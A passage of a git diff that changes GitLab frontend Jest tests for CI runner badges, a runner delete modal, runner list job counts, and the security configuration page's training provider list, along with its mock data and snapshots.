diff --git a/spec/frontend/runner/components/runner_contacted_state_badge_spec.js b/spec/frontend/runner/components/runner_contacted_state_badge_spec.js
deleted file mode 100644
index 57a27f39826..00000000000
--- a/spec/frontend/runner/components/runner_contacted_state_badge_spec.js
+++ /dev/null
@@ -1,86 +0,0 @@
-import { GlBadge } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import RunnerContactedStateBadge from '~/runner/components/runner_contacted_state_badge.vue';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import { STATUS_ONLINE, STATUS_OFFLINE, STATUS_NOT_CONNECTED } from '~/runner/constants';
-
-describe('RunnerTypeBadge', () => {
- let wrapper;
-
- const findBadge = () => wrapper.findComponent(GlBadge);
- const getTooltip = () => getBinding(findBadge().element, 'gl-tooltip');
-
- const createComponent = ({ runner = {} } = {}) => {
- wrapper = shallowMount(RunnerContactedStateBadge, {
- propsData: {
- runner: {
- contactedAt: '2021-01-01T00:00:00Z',
- status: STATUS_ONLINE,
- ...runner,
- },
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- beforeEach(() => {
- jest.useFakeTimers('modern');
- });
-
- afterEach(() => {
- jest.useFakeTimers('legacy');
-
- wrapper.destroy();
- });
-
- it('renders online state', () => {
- jest.setSystemTime(new Date('2021-01-01T00:01:00Z'));
-
- createComponent();
-
- expect(wrapper.text()).toBe('online');
- expect(findBadge().props('variant')).toBe('success');
- expect(getTooltip().value).toBe('Runner is online; last contact was 1 minute ago');
- });
-
- it('renders offline state', () => {
- jest.setSystemTime(new Date('2021-01-02T00:00:00Z'));
-
- createComponent({
- runner: {
- status: STATUS_OFFLINE,
- },
- });
-
- expect(wrapper.text()).toBe('offline');
- expect(findBadge().props('variant')).toBe('muted');
- expect(getTooltip().value).toBe(
- 'No recent contact from this runner; last contact was 1 day ago',
- );
- });
-
- it('renders not connected state', () => {
- createComponent({
- runner: {
- contactedAt: null,
- status: STATUS_NOT_CONNECTED,
- },
- });
-
- expect(wrapper.text()).toBe('not connected');
- expect(findBadge().props('variant')).toBe('muted');
- expect(getTooltip().value).toMatch('This runner has never connected');
- });
-
- it('does not fail when data is missing', () => {
- createComponent({
- runner: {
- status: null,
- },
- });
-
- expect(wrapper.text()).toBe('');
- });
-});
diff --git a/spec/frontend/runner/components/runner_delete_modal_spec.js b/spec/frontend/runner/components/runner_delete_modal_spec.js
new file mode 100644
index 00000000000..3e5b634d815
--- /dev/null
+++ b/spec/frontend/runner/components/runner_delete_modal_spec.js
@@ -0,0 +1,60 @@
+import { GlModal } from '@gitlab/ui';
+import { mount, shallowMount } from '@vue/test-utils';
+import RunnerDeleteModal from '~/runner/components/runner_delete_modal.vue';
+
+describe('RunnerDeleteModal', () => {
+ let wrapper;
+
+ const findGlModal = () => wrapper.findComponent(GlModal);
+
+ const createComponent = ({ props = {} } = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(RunnerDeleteModal, {
+ attachTo: document.body,
+ propsData: {
+ runnerName: '#99 (AABBCCDD)',
+ ...props,
+ },
+ attrs: {
+ modalId: 'delete-runner-modal-99',
+ },
+ });
+ };
+
+ it('Displays title', () => {
+ createComponent();
+
+ expect(findGlModal().props('title')).toBe('Delete runner #99 (AABBCCDD)?');
+ });
+
+ it('Displays buttons', () => {
+ createComponent();
+
+ expect(findGlModal().props('actionPrimary')).toMatchObject({ text: 'Delete runner' });
+ expect(findGlModal().props('actionCancel')).toMatchObject({ text: 'Cancel' });
+ });
+
+ it('Displays contents', () => {
+ createComponent();
+
+ expect(findGlModal().html()).toContain(
+ 'The runner will be permanently deleted and no longer available for projects or groups in the instance. Are you sure you want to continue?',
+ );
+ });
+
+ describe('When modal is confirmed by the user', () => {
+ let hideModalSpy;
+
+ beforeEach(() => {
+ createComponent({}, mount);
+ hideModalSpy = jest.spyOn(wrapper.vm.$refs.modal, 'hide').mockImplementation(() => {});
+ });
+
+ it('Modal gets hidden', () => {
+ expect(hideModalSpy).toHaveBeenCalledTimes(0);
+
+ findGlModal().vm.$emit('primary');
+
+ expect(hideModalSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/runner_filtered_search_bar_spec.js b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
index 9ea0955f2a1..5ab0db019a3 100644
--- a/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
+++ b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
@@ -15,7 +15,6 @@ describe('RunnerList', () => {
const findFilteredSearch = () => wrapper.findComponent(FilteredSearch);
const findGlFilteredSearch = () => wrapper.findComponent(GlFilteredSearch);
const findSortOptions = () => wrapper.findAllComponents(GlDropdownItem);
- const findActiveRunnersMessage = () => wrapper.findByTestId('runner-count');
const mockDefaultSort = 'CREATED_DESC';
const mockOtherSort = 'CONTACTED_DESC';
@@ -23,7 +22,6 @@ describe('RunnerList', () => {
{ type: PARAM_KEY_STATUS, value: { data: STATUS_ACTIVE, operator: '=' } },
{ type: 'filtered-search-term', value: { data: '' } },
];
- const mockActiveRunnersCount = 2;
const expectToHaveLastEmittedInput = (value) => {
const inputs = wrapper.emitted('input');
@@ -43,9 +41,6 @@ describe('RunnerList', () => {
},
...props,
},
- slots: {
- 'runner-count': `Runners currently online: ${mockActiveRunnersCount}`,
- },
stubs: {
FilteredSearch,
GlFilteredSearch,
@@ -69,12 +64,6 @@ describe('RunnerList', () => {
expect(findFilteredSearch().props('namespace')).toBe('runners');
});
- it('Displays an active runner count', () => {
- expect(findActiveRunnersMessage().text()).toBe(
- `Runners currently online: ${mockActiveRunnersCount}`,
- );
- });
-
it('sets sorting options', () => {
const SORT_OPTIONS_COUNT = 2;
diff --git a/spec/frontend/runner/components/runner_list_spec.js b/spec/frontend/runner/components/runner_list_spec.js
index 986e55a2132..5a14fa5a2d5 100644
--- a/spec/frontend/runner/components/runner_list_spec.js
+++ b/spec/frontend/runner/components/runner_list_spec.js
@@ -46,12 +46,19 @@ describe('RunnerList', () => {
'Runner ID',
'Version',
'IP Address',
+ 'Jobs',
'Tags',
'Last contact',
'', // actions has no label
]);
});
+ it('Sets runner id as a row key', () => {
+ createComponent({}, shallowMount);
+
+ expect(findTable().attributes('primary-key')).toBe('id');
+ });
+
it('Displays a list of runners', () => {
expect(findRows()).toHaveLength(4);
@@ -73,6 +80,7 @@ describe('RunnerList', () => {
// Other fields
expect(findCell({ fieldKey: 'version' }).text()).toBe(version);
expect(findCell({ fieldKey: 'ipAddress' }).text()).toBe(ipAddress);
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('0');
expect(findCell({ fieldKey: 'tagList' }).text()).toBe('');
expect(findCell({ fieldKey: 'contactedAt' }).text()).toEqual(expect.any(String));
@@ -83,6 +91,42 @@ describe('RunnerList', () => {
expect(actions.findByTestId('toggle-active-runner').exists()).toBe(true);
});
+ describe('Table data formatting', () => {
+ let mockRunnersCopy;
+
+ beforeEach(() => {
+ mockRunnersCopy = [
+ {
+ ...mockRunners[0],
+ },
+ ];
+ });
+
+ it('Formats job counts', () => {
+ mockRunnersCopy[0].jobCount = 1;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('1');
+ });
+
+ it('Formats large job counts', () => {
+ mockRunnersCopy[0].jobCount = 1000;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('1,000');
+ });
+
+ it('Formats large job counts with a plus symbol', () => {
+ mockRunnersCopy[0].jobCount = 1001;
+
+ createComponent({ props: { runners: mockRunnersCopy } }, mount);
+
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('1,000+');
+ });
+ });
+
it('Shows runner identifier', () => {
const { id, shortSha } = mockRunners[0];
const numericId = getIdFromGraphQLId(id);
diff --git a/spec/frontend/runner/components/runner_status_badge_spec.js b/spec/frontend/runner/components/runner_status_badge_spec.js
new file mode 100644
index 00000000000..a19515d6ed2
--- /dev/null
+++ b/spec/frontend/runner/components/runner_status_badge_spec.js
@@ -0,0 +1,130 @@
+import { GlBadge } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import RunnerStatusBadge from '~/runner/components/runner_status_badge.vue';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import {
+ STATUS_ONLINE,
+ STATUS_OFFLINE,
+ STATUS_STALE,
+ STATUS_NOT_CONNECTED,
+ STATUS_NEVER_CONTACTED,
+} from '~/runner/constants';
+
+describe('RunnerTypeBadge', () => {
+ let wrapper;
+
+ const findBadge = () => wrapper.findComponent(GlBadge);
+ const getTooltip = () => getBinding(findBadge().element, 'gl-tooltip');
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(RunnerStatusBadge, {
+ propsData: {
+ runner: {
+ contactedAt: '2020-12-31T23:59:00Z',
+ status: STATUS_ONLINE,
+ },
+ ...props,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ beforeEach(() => {
+ jest.useFakeTimers('modern');
+ jest.setSystemTime(new Date('2021-01-01T00:00:00Z'));
+ });
+
+ afterEach(() => {
+ jest.useFakeTimers('legacy');
+
+ wrapper.destroy();
+ });
+
+ it('renders online state', () => {
+ createComponent();
+
+ expect(wrapper.text()).toBe('online');
+ expect(findBadge().props('variant')).toBe('success');
+ expect(getTooltip().value).toBe('Runner is online; last contact was 1 minute ago');
+ });
+
+ it('renders not connected state', () => {
+ createComponent({
+ runner: {
+ contactedAt: null,
+ status: STATUS_NOT_CONNECTED,
+ },
+ });
+
+ expect(wrapper.text()).toBe('not connected');
+ expect(findBadge().props('variant')).toBe('muted');
+ expect(getTooltip().value).toMatch('This runner has never connected');
+ });
+
+ it('renders never contacted state as not connected, for backwards compatibility', () => {
+ createComponent({
+ runner: {
+ contactedAt: null,
+ status: STATUS_NEVER_CONTACTED,
+ },
+ });
+
+ expect(wrapper.text()).toBe('not connected');
+ expect(findBadge().props('variant')).toBe('muted');
+ expect(getTooltip().value).toMatch('This runner has never connected');
+ });
+
+ it('renders offline state', () => {
+ createComponent({
+ runner: {
+ contactedAt: '2020-12-31T00:00:00Z',
+ status: STATUS_OFFLINE,
+ },
+ });
+
+ expect(wrapper.text()).toBe('offline');
+ expect(findBadge().props('variant')).toBe('muted');
+ expect(getTooltip().value).toBe(
+ 'No recent contact from this runner; last contact was 1 day ago',
+ );
+ });
+
+ it('renders stale state', () => {
+ createComponent({
+ runner: {
+ contactedAt: '2020-01-01T00:00:00Z',
+ status: STATUS_STALE,
+ },
+ });
+
+ expect(wrapper.text()).toBe('stale');
+ expect(findBadge().props('variant')).toBe('warning');
+ expect(getTooltip().value).toBe('No contact from this runner in over 3 months');
+ });
+
+ describe('does not fail when data is missing', () => {
+ it('contacted_at is missing', () => {
+ createComponent({
+ runner: {
+ contactedAt: null,
+ status: STATUS_ONLINE,
+ },
+ });
+
+ expect(wrapper.text()).toBe('online');
+ expect(getTooltip().value).toBe('Runner is online; last contact was n/a');
+ });
+
+ it('status is missing', () => {
+ createComponent({
+ runner: {
+ status: null,
+ },
+ });
+
+ expect(wrapper.text()).toBe('');
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/search_tokens/tag_token_spec.js b/spec/frontend/runner/components/search_tokens/tag_token_spec.js
index 52b87542243..89c06ba2df4 100644
--- a/spec/frontend/runner/components/search_tokens/tag_token_spec.js
+++ b/spec/frontend/runner/components/search_tokens/tag_token_spec.js
@@ -41,7 +41,7 @@ const mockTagTokenConfig = {
title: 'Tags',
type: 'tag',
token: TagToken,
- recentTokenValuesStorageKey: mockStorageKey,
+ recentSuggestionsStorageKey: mockStorageKey,
operators: OPERATOR_IS_ONLY,
};
diff --git a/spec/frontend/runner/components/stat/runner_online_stat_spec.js b/spec/frontend/runner/components/stat/runner_online_stat_spec.js
new file mode 100644
index 00000000000..18f865aa22c
--- /dev/null
+++ b/spec/frontend/runner/components/stat/runner_online_stat_spec.js
@@ -0,0 +1,34 @@
+import { GlSingleStat } from '@gitlab/ui/dist/charts';
+import { shallowMount, mount } from '@vue/test-utils';
+import RunnerOnlineBadge from '~/runner/components/stat/runner_online_stat.vue';
+
+describe('RunnerOnlineBadge', () => {
+ let wrapper;
+
+ const findSingleStat = () => wrapper.findComponent(GlSingleStat);
+
+ const createComponent = ({ props = {} } = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(RunnerOnlineBadge, {
+ propsData: {
+ value: '99',
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Uses a success appearance', () => {
+ createComponent({}, shallowMount);
+
+ expect(findSingleStat().props('variant')).toBe('success');
+ });
+
+ it('Renders a value', () => {
+ createComponent({}, mount);
+
+ expect(wrapper.text()).toMatch(new RegExp(`Online Runners 99\\s+online`));
+ });
+});
diff --git a/spec/frontend/runner/group_runners/group_runners_app_spec.js b/spec/frontend/runner/group_runners/group_runners_app_spec.js
index 39bca743c80..4451100de19 100644
--- a/spec/frontend/runner/group_runners/group_runners_app_spec.js
+++ b/spec/frontend/runner/group_runners/group_runners_app_spec.js
@@ -130,24 +130,24 @@ describe('GroupRunnersApp', () => {
});
describe('shows the active runner count', () => {
+ const expectedOnlineCount = (count) => new RegExp(`Online Runners ${count}`);
+
it('with a regular value', () => {
createComponent({ mountFn: mount });
- expect(findRunnerFilteredSearchBar().text()).toMatch(
- `Runners in this group: ${mockGroupRunnersLimitedCount}`,
- );
+ expect(wrapper.text()).toMatch(expectedOnlineCount(mockGroupRunnersLimitedCount));
});
it('at the limit', () => {
createComponent({ props: { groupRunnersLimitedCount: 1000 }, mountFn: mount });
- expect(findRunnerFilteredSearchBar().text()).toMatch(`Runners in this group: 1,000`);
+ expect(wrapper.text()).toMatch(expectedOnlineCount('1,000'));
});
it('over the limit', () => {
createComponent({ props: { groupRunnersLimitedCount: 1001 }, mountFn: mount });
- expect(findRunnerFilteredSearchBar().text()).toMatch(`Runners in this group: 1,000+`);
+ expect(wrapper.text()).toMatch(expectedOnlineCount('1,000\\+'));
});
});
diff --git a/spec/frontend/security_configuration/components/app_spec.js b/spec/frontend/security_configuration/components/app_spec.js
index d4ee9e6e43d..0a2b18caf25 100644
--- a/spec/frontend/security_configuration/components/app_spec.js
+++ b/spec/frontend/security_configuration/components/app_spec.js
@@ -20,6 +20,7 @@ import {
AUTO_DEVOPS_ENABLED_ALERT_DISMISSED_STORAGE_KEY,
} from '~/security_configuration/components/constants';
import FeatureCard from '~/security_configuration/components/feature_card.vue';
+import TrainingProviderList from '~/security_configuration/components/training_provider_list.vue';
import UpgradeBanner from '~/security_configuration/components/upgrade_banner.vue';
import {
@@ -39,7 +40,11 @@ describe('App component', () => {
let wrapper;
let userCalloutDismissSpy;
- const createComponent = ({ shouldShowCallout = true, ...propsData }) => {
+ const createComponent = ({
+ shouldShowCallout = true,
+ secureVulnerabilityTraining = true,
+ ...propsData
+ }) => {
userCalloutDismissSpy = jest.fn();
wrapper = extendedWrapper(
@@ -50,6 +55,9 @@ describe('App component', () => {
autoDevopsHelpPagePath,
autoDevopsPath,
projectPath,
+ glFeatures: {
+ secureVulnerabilityTraining,
+ },
},
stubs: {
...stubChildren(SecurityConfigurationApp),
@@ -71,6 +79,7 @@ describe('App component', () => {
const findTabs = () => wrapper.findAllComponents(GlTab);
const findByTestId = (id) => wrapper.findByTestId(id);
const findFeatureCards = () => wrapper.findAllComponents(FeatureCard);
+ const findTrainingProviderList = () => wrapper.findComponent(TrainingProviderList);
const findManageViaMRErrorAlert = () => wrapper.findByTestId('manage-via-mr-error-alert');
const findLink = ({ href, text, container = wrapper }) => {
const selector = `a[href="${href}"]`;
@@ -138,20 +147,20 @@ describe('App component', () => {
expect(mainHeading.text()).toContain('Security Configuration');
});
- it('renders GlTab Component ', () => {
- expect(findTab().exists()).toBe(true);
- });
+ describe('tabs', () => {
+ const expectedTabs = ['security-testing', 'compliance-testing', 'vulnerability-management'];
- it('renders right amount of tabs with correct title ', () => {
- expect(findTabs()).toHaveLength(2);
- });
+ it('renders GlTab Component', () => {
+ expect(findTab().exists()).toBe(true);
+ });
- it('renders security-testing tab', () => {
- expect(findByTestId('security-testing-tab').exists()).toBe(true);
- });
+ it('renders correct amount of tabs', () => {
+ expect(findTabs()).toHaveLength(expectedTabs.length);
+ });
- it('renders compliance-testing tab', () => {
- expect(findByTestId('compliance-testing-tab').exists()).toBe(true);
+ it.each(expectedTabs)('renders the %s tab', (tabName) => {
+ expect(findByTestId(`${tabName}-tab`).exists()).toBe(true);
+ });
});
it('renders right amount of feature cards for given props with correct props', () => {
@@ -173,6 +182,10 @@ describe('App component', () => {
expect(findComplianceViewHistoryLink().exists()).toBe(false);
expect(findSecurityViewHistoryLink().exists()).toBe(false);
});
+
+ it('renders TrainingProviderList component', () => {
+ expect(findTrainingProviderList().exists()).toBe(true);
+ });
});
describe('Manage via MR Error Alert', () => {
@@ -418,4 +431,22 @@ describe('App component', () => {
expect(findSecurityViewHistoryLink().attributes('href')).toBe('test/historyPath');
});
});
+
+ describe('when secureVulnerabilityTraining feature flag is disabled', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ secureVulnerabilityTraining: false,
+ });
+ });
+
+ it('renders correct amount of tabs', () => {
+ expect(findTabs()).toHaveLength(2);
+ });
+
+ it('does not render the vulnerability-management tab', () => {
+ expect(wrapper.findByTestId('vulnerability-management-tab').exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/security_configuration/components/training_provider_list_spec.js b/spec/frontend/security_configuration/components/training_provider_list_spec.js
new file mode 100644
index 00000000000..60cc36a634c
--- /dev/null
+++ b/spec/frontend/security_configuration/components/training_provider_list_spec.js
@@ -0,0 +1,88 @@
+import { GlLink, GlToggle, GlCard, GlSkeletonLoader } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import TrainingProviderList from '~/security_configuration/components/training_provider_list.vue';
+import waitForPromises from 'helpers/wait_for_promises';
+import { securityTrainingProviders, mockResolvers } from '../mock_data';
+
+Vue.use(VueApollo);
+
+describe('TrainingProviderList component', () => {
+ let wrapper;
+ let mockApollo;
+ let mockSecurityTrainingProvidersData;
+
+ const createComponent = () => {
+ mockApollo = createMockApollo([], mockResolvers);
+
+ wrapper = shallowMount(TrainingProviderList, {
+ apolloProvider: mockApollo,
+ });
+ };
+
+ const waitForQueryToBeLoaded = () => waitForPromises();
+
+ const findCards = () => wrapper.findAllComponents(GlCard);
+ const findLinks = () => wrapper.findAllComponents(GlLink);
+ const findToggles = () => wrapper.findAllComponents(GlToggle);
+ const findLoader = () => wrapper.findComponent(GlSkeletonLoader);
+
+ beforeEach(() => {
+ mockSecurityTrainingProvidersData = jest.fn();
+ mockSecurityTrainingProvidersData.mockResolvedValue(securityTrainingProviders);
+
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ mockApollo = null;
+ });
+
+ describe('when loading', () => {
+ it('shows the loader', () => {
+ expect(findLoader().exists()).toBe(true);
+ });
+
+ it('does not show the cards', () => {
+ expect(findCards().exists()).toBe(false);
+ });
+ });
+
+ describe('basic structure', () => {
+ beforeEach(async () => {
+ await waitForQueryToBeLoaded();
+ });
+
+ it('renders correct amount of cards', () => {
+ expect(findCards()).toHaveLength(securityTrainingProviders.length);
+ });
+
+ securityTrainingProviders.forEach(({ name, description, url, isEnabled }, index) => {
+ it(`shows the name for card ${index}`, () => {
+ expect(findCards().at(index).text()).toContain(name);
+ });
+
+ it(`shows the description for card ${index}`, () => {
+ expect(findCards().at(index).text()).toContain(description);
+ });
+
+ it(`shows the learn more link for card ${index}`, () => {
+ expect(findLinks().at(index).attributes()).toEqual({
+ target: '_blank',
+ href: url,
+ });
+ });
+
+ it(`shows the toggle with the correct value for card ${index}`, () => {
+ expect(findToggles().at(index).props('value')).toEqual(isEnabled);
+ });
+
+ it('does not show loader when query is populated', () => {
+ expect(findLoader().exists()).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/security_configuration/mock_data.js b/spec/frontend/security_configuration/mock_data.js
new file mode 100644
index 00000000000..cdb859c3800
--- /dev/null
+++ b/spec/frontend/security_configuration/mock_data.js
@@ -0,0 +1,30 @@
+export const securityTrainingProviders = [
+ {
+ id: 101,
+ name: 'Kontra',
+ description: 'Interactive developer security education.',
+ url: 'https://application.security/',
+ isEnabled: false,
+ },
+ {
+ id: 102,
+ name: 'SecureCodeWarrior',
+ description: 'Security training with guide and learning pathways.',
+ url: 'https://www.securecodewarrior.com/',
+ isEnabled: true,
+ },
+];
+
+export const securityTrainingProvidersResponse = {
+ data: {
+ securityTrainingProviders,
+ },
+};
+
+export const mockResolvers = {
+ Query: {
+ securityTrainingProviders() {
+ return securityTrainingProviders;
+ },
+ },
+};
diff --git a/spec/frontend/security_configuration/utils_spec.js b/spec/frontend/security_configuration/utils_spec.js
index eaed4532baa..241e69204d2 100644
--- a/spec/frontend/security_configuration/utils_spec.js
+++ b/spec/frontend/security_configuration/utils_spec.js
@@ -1,101 +1,120 @@
-import { augmentFeatures } from '~/security_configuration/utils';
-
-const mockSecurityFeatures = [
- {
- name: 'SAST',
- type: 'SAST',
- },
-];
-
-const mockComplianceFeatures = [
- {
- name: 'LICENSE_COMPLIANCE',
- type: 'LICENSE_COMPLIANCE',
- },
-];
-
-const mockFeaturesWithSecondary = [
- {
- name: 'DAST',
- type: 'DAST',
- secondary: {
- type: 'DAST PROFILES',
- name: 'DAST PROFILES',
+import { augmentFeatures, translateScannerNames } from '~/security_configuration/utils';
+import { SCANNER_NAMES_MAP } from '~/security_configuration/components/constants';
+
+describe('augmentFeatures', () => {
+ const mockSecurityFeatures = [
+ {
+ name: 'SAST',
+ type: 'SAST',
},
- },
-];
-
-const mockInvalidCustomFeature = [
- {
- foo: 'bar',
- },
-];
-
-const mockValidCustomFeature = [
- {
- name: 'SAST',
- type: 'SAST',
- customField: 'customvalue',
- },
-];
-
-const mockValidCustomFeatureSnakeCase = [
- {
- name: 'SAST',
- type: 'SAST',
- custom_field: 'customvalue',
- },
-];
-
-const expectedOutputDefault = {
- augmentedSecurityFeatures: mockSecurityFeatures,
- augmentedComplianceFeatures: mockComplianceFeatures,
-};
-
-const expectedOutputSecondary = {
- augmentedSecurityFeatures: mockSecurityFeatures,
- augmentedComplianceFeatures: mockFeaturesWithSecondary,
-};
-
-const expectedOutputCustomFeature = {
- augmentedSecurityFeatures: mockValidCustomFeature,
- augmentedComplianceFeatures: mockComplianceFeatures,
-};
-
-describe('returns an object with augmentedSecurityFeatures and augmentedComplianceFeatures when', () => {
- it('given an empty array', () => {
- expect(augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, [])).toEqual(
- expectedOutputDefault,
- );
+ ];
+
+ const mockComplianceFeatures = [
+ {
+ name: 'LICENSE_COMPLIANCE',
+ type: 'LICENSE_COMPLIANCE',
+ },
+ ];
+
+ const mockFeaturesWithSecondary = [
+ {
+ name: 'DAST',
+ type: 'DAST',
+ secondary: {
+ type: 'DAST PROFILES',
+ name: 'DAST PROFILES',
+ },
+ },
+ ];
+
+ const mockInvalidCustomFeature = [
+ {
+ foo: 'bar',
+ },
+ ];
+
+ const mockValidCustomFeature = [
+ {
+ name: 'SAST',
+ type: 'SAST',
+ customField: 'customvalue',
+ },
+ ];
+
+ const mockValidCustomFeatureSnakeCase = [
+ {
+ name: 'SAST',
+ type: 'SAST',
+ custom_field: 'customvalue',
+ },
+ ];
+
+ const expectedOutputDefault = {
+ augmentedSecurityFeatures: mockSecurityFeatures,
+ augmentedComplianceFeatures: mockComplianceFeatures,
+ };
+
+ const expectedOutputSecondary = {
+ augmentedSecurityFeatures: mockSecurityFeatures,
+ augmentedComplianceFeatures: mockFeaturesWithSecondary,
+ };
+
+ const expectedOutputCustomFeature = {
+ augmentedSecurityFeatures: mockValidCustomFeature,
+ augmentedComplianceFeatures: mockComplianceFeatures,
+ };
+
+ describe('returns an object with augmentedSecurityFeatures and augmentedComplianceFeatures when', () => {
+ it('given an empty array', () => {
+ expect(augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, [])).toEqual(
+ expectedOutputDefault,
+ );
+ });
+
+ it('given an invalid populated array', () => {
+ expect(
+ augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockInvalidCustomFeature),
+ ).toEqual(expectedOutputDefault);
+ });
+
+ it('features have secondary key', () => {
+ expect(augmentFeatures(mockSecurityFeatures, mockFeaturesWithSecondary, [])).toEqual(
+ expectedOutputSecondary,
+ );
+ });
+
+ it('given a valid populated array', () => {
+ expect(
+ augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockValidCustomFeature),
+ ).toEqual(expectedOutputCustomFeature);
+ });
});
- it('given an invalid populated array', () => {
- expect(
- augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockInvalidCustomFeature),
- ).toEqual(expectedOutputDefault);
+ describe('returns an object with camelcased keys', () => {
+ it('given a customfeature in snakecase', () => {
+ expect(
+ augmentFeatures(
+ mockSecurityFeatures,
+ mockComplianceFeatures,
+ mockValidCustomFeatureSnakeCase,
+ ),
+ ).toEqual(expectedOutputCustomFeature);
+ });
});
+});
- it('features have secondary key', () => {
- expect(augmentFeatures(mockSecurityFeatures, mockFeaturesWithSecondary, [])).toEqual(
- expectedOutputSecondary,
- );
+describe('translateScannerNames', () => {
+ it.each(['', undefined, null, 1, 'UNKNOWN_SCANNER_KEY'])('returns %p as is', (key) => {
+ expect(translateScannerNames([key])).toEqual([key]);
});
- it('given a valid populated array', () => {
- expect(
- augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockValidCustomFeature),
- ).toEqual(expectedOutputCustomFeature);
+ it('returns an empty array if no input is provided', () => {
+ expect(translateScannerNames([])).toEqual([]);
});
-});
-describe('returns an object with camelcased keys', () => {
- it('given a customfeature in snakecase', () => {
- expect(
- augmentFeatures(
- mockSecurityFeatures,
- mockComplianceFeatures,
- mockValidCustomFeatureSnakeCase,
- ),
- ).toEqual(expectedOutputCustomFeature);
+ it('returns translated scanner names', () => {
+ expect(translateScannerNames(Object.keys(SCANNER_NAMES_MAP))).toEqual(
+ Object.values(SCANNER_NAMES_MAP),
+ );
});
});
diff --git a/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap b/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
index 1a874c3dcd6..c968c28c811 100644
--- a/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
+++ b/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
@@ -52,6 +52,7 @@ exports[`self monitor component When the self monitor project has not been creat
<gl-form-group-stub
labeldescription=""
+ optionaltext="(optional)"
>
<gl-toggle-stub
label="Self monitoring"
diff --git a/spec/frontend/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js b/spec/frontend/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js
deleted file mode 100644
index 772d6903052..00000000000
--- a/spec/frontend/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js
+++ /dev/null
@@ -1,82 +0,0 @@
-import { GlLoadingIcon } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import Vuex from 'vuex';
-import Stacktrace from '~/error_tracking/components/stacktrace.vue';
-import SentryErrorStackTrace from '~/sentry_error_stack_trace/components/sentry_error_stack_trace.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('Sentry Error Stack Trace', () => {
- let actions;
- let getters;
- let store;
- let wrapper;
-
- function mountComponent({
- stubs = {
- stacktrace: Stacktrace,
- },
- } = {}) {
- wrapper = shallowMount(SentryErrorStackTrace, {
- localVue,
- stubs,
- store,
- propsData: {
- issueStackTracePath: '/stacktrace',
- },
- });
- }
-
- beforeEach(() => {
- actions = {
- startPollingStacktrace: () => {},
- };
-
- getters = {
- stacktrace: () => [{ context: [1, 2], lineNo: 53, filename: 'index.js' }],
- };
-
- const state = {
- stacktraceData: {},
- loadingStacktrace: true,
- };
-
- store = new Vuex.Store({
- modules: {
- details: {
- namespaced: true,
- actions,
- getters,
- state,
- },
- },
- });
- });
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- }
- });
-
- describe('loading', () => {
- it('should show spinner while loading', () => {
- mountComponent();
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.find(Stacktrace).exists()).toBe(false);
- });
- });
-
- describe('Stack trace', () => {
- beforeEach(() => {
- store.state.details.loadingStacktrace = false;
- });
-
- it('should show stacktrace', () => {
- mountComponent({ stubs: {} });
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
- expect(wrapper.find(Stacktrace).exists()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
index 53bef449c2f..c25a8d4bb92 100644
--- a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
+++ b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
@@ -7,8 +7,10 @@ exports[`EmptyStateComponent should render content 1`] = `
</div>
<div class=\\"col-12\\">
<div class=\\"text-content gl-mx-auto gl-my-0 gl-p-5\\">
- <h1 class=\\"h4\\">Getting started with serverless</h1>
- <p>In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. <gl-link-stub href=\\"/help\\">More information</gl-link-stub>
+ <h1 class=\\"gl-font-size-h-display gl-line-height-36 h4\\">
